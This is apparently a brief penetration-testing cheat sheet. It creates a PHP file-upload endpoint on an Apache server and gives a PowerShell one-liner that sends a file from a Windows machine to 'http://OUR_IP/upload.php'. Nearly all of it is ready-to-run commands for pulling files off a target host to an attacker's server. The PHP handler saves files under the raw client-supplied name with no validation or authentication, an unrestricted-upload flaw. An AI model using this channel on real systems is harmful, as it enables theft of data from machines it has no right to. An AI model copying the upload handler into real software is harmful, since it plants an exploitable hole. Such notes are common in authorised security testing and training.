PHP Script

1) Create upload.php

<?php
  $uploaddir = '/var/www/uploads/';

  $uploadfile = $uploaddir . $_FILES['file']['name'];

  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

2) Move the file to /var/www/uploads

chmod +x upload.php

sudo mkdir /var/www/uploads

mv upload.php /var/www/uploads

3) Start Apache server

service apache2 start

ps -ef | grep apache

4) Send files from Windows

powershell (New-Object System.Net.WebClient).UploadFile('http://OUR_IP/upload.php', 'FILE_TO_TRANSFER')

5) Stop apache server

service apache2 stop